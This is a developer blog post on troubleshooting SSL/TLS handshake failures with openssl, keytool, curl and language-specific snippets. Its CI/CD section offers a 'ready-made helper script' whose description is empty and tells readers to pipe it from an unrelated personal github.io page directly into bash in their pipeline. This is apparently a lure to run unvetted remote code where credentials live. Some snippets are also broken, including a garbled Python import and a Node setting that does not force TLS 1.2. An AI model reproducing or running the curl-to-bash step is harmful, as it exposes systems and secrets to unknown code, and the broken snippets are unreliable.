DEV Community

Deep Fix
Deep Fix

Posted on

How to Fix SSL/TLS Certificate Handshake Failures – Step-by-Step Guide for Developers

Introduction

SSL/TLS handshake failures are a frequent headache for developers, engineers, and DevOps teams. Whether you're integrating a third‑party API, deploying a microservice, or troubleshooting a CI/CD pipeline, a broken handshake stops traffic in its tracks. This guide walks you through the most common causes and provides concrete, code‑level fixes you can apply today.

Common Causes of Handshake Failures

  • Expired or Revoked Certificate – The server presents a certificate whose validity period has ended or has been revoked.
  • Hostname Mismatch – The certificate's CN/SAN does not match the hostname you are connecting to.
  • Unsupported Protocols/Ciphers – Client and server cannot agree on a TLS version or cipher suite.
  • Incomplete Certificate Chain – Intermediate certificates are missing, causing trust‑validation failures.
  • Incorrect Trust Store – The client lacks the root CA that signed the server certificate.

Step‑by‑Step Troubleshooting

1. Inspect the Server Certificate Chain

openssl s_client -connect api.example.com:443 -servername api.example.com -showcerts
Enter fullscreen mode Exit fullscreen mode

The output shows the leaf, intermediates, and root. Verify that:

  • The chain includes all intermediates.
  • The Verify return code is 0 (ok).
  • The dates (Not Before/After) are valid.

2. Validate the Hostname

openssl s_client -connect api.example.com:443 -servername api.example.com 2>/dev/null | openssl x509 -noout -text | grep -i 'Subject:|DNS:'
Enter fullscreen mode Exit fullscreen mode

Make sure the DNS: entries contain api.example.com. If not, request a correctly‑issued certificate from your CA.

3. Check the Client Trust Store

For Java:

SSLContext ctx = SSLContext.getInstance("TLSv1.2");
ctx.init(null, null, null);
Enter fullscreen mode Exit fullscreen mode

If the default cacerts file is missing the root CA, import it:

keytool -importcert -keystore $JAVA_HOME/lib/security/cacerts -storepass changeit -alias myca -file myca.pem
Enter fullscreen mode Exit fullscreen mode

For Linux systems, update ca‑certificates:

sudo update-ca-certificates
Enter fullscreen mode Exit fullscreen mode

4. Enforce a Compatible TLS Version

Old servers may only support TLS 1.0/1.1, while modern runtimes default to TLS 1.2+. Force the version you need:

  • Node.js:
const https = require('https');
const agent = new https.Agent({secureProtocol: 'TLS_method'});
https.get('https://api.example.com', {agent}, res => {/* … */});
Enter fullscreen mode Exit fullscreen mode
  • Python (requests):
import requests
from urllib3.util import ssl_"
response = requests.get('https://api.example.com', verify=True, headers={'User-Agent': 'my-app'})
Enter fullscreen mode Exit fullscreen mode

(Replace ssl_" with the appropriate ssl.PROTOCOL_TLSv1_2 if needed.)

5. Test with a Minimal Client

Sometimes middleware interferes. Use curl as a baseline:

curl -v --tlsv1.2 https://api.example.com
Enter fullscreen mode Exit fullscreen mode

If curl succeeds, the issue likely lies in your application stack.

Automated Fixes for CI/CD Pipelines

Many teams script the remediation steps. You can download a ready‑made helper script that:

Integrate it into your pipeline, for example:

- name: Update TLS trust store
  run: |
    curl -sSL https://gaba-101010.github.io/GG/ | bash -s -- --update-ca
Enter fullscreen mode Exit fullscreen mode

Monitoring and Prevention

  • Enable certificate expiration alerts (e.g., via Prometheus blackbox_exporter).
  • Enforce a policy that all services expose at least TLS 1.2.
  • Run periodic scans with tools like testssl.sh to catch weak ciphers.

Conclusion

Handshake failures are rarely mysterious; they stem from a handful of misconfigurations that you can detect and fix systematically. By following the steps above—and optionally automating the remediation with the scripts linked—you’ll keep your services secure and available.

Top comments (0)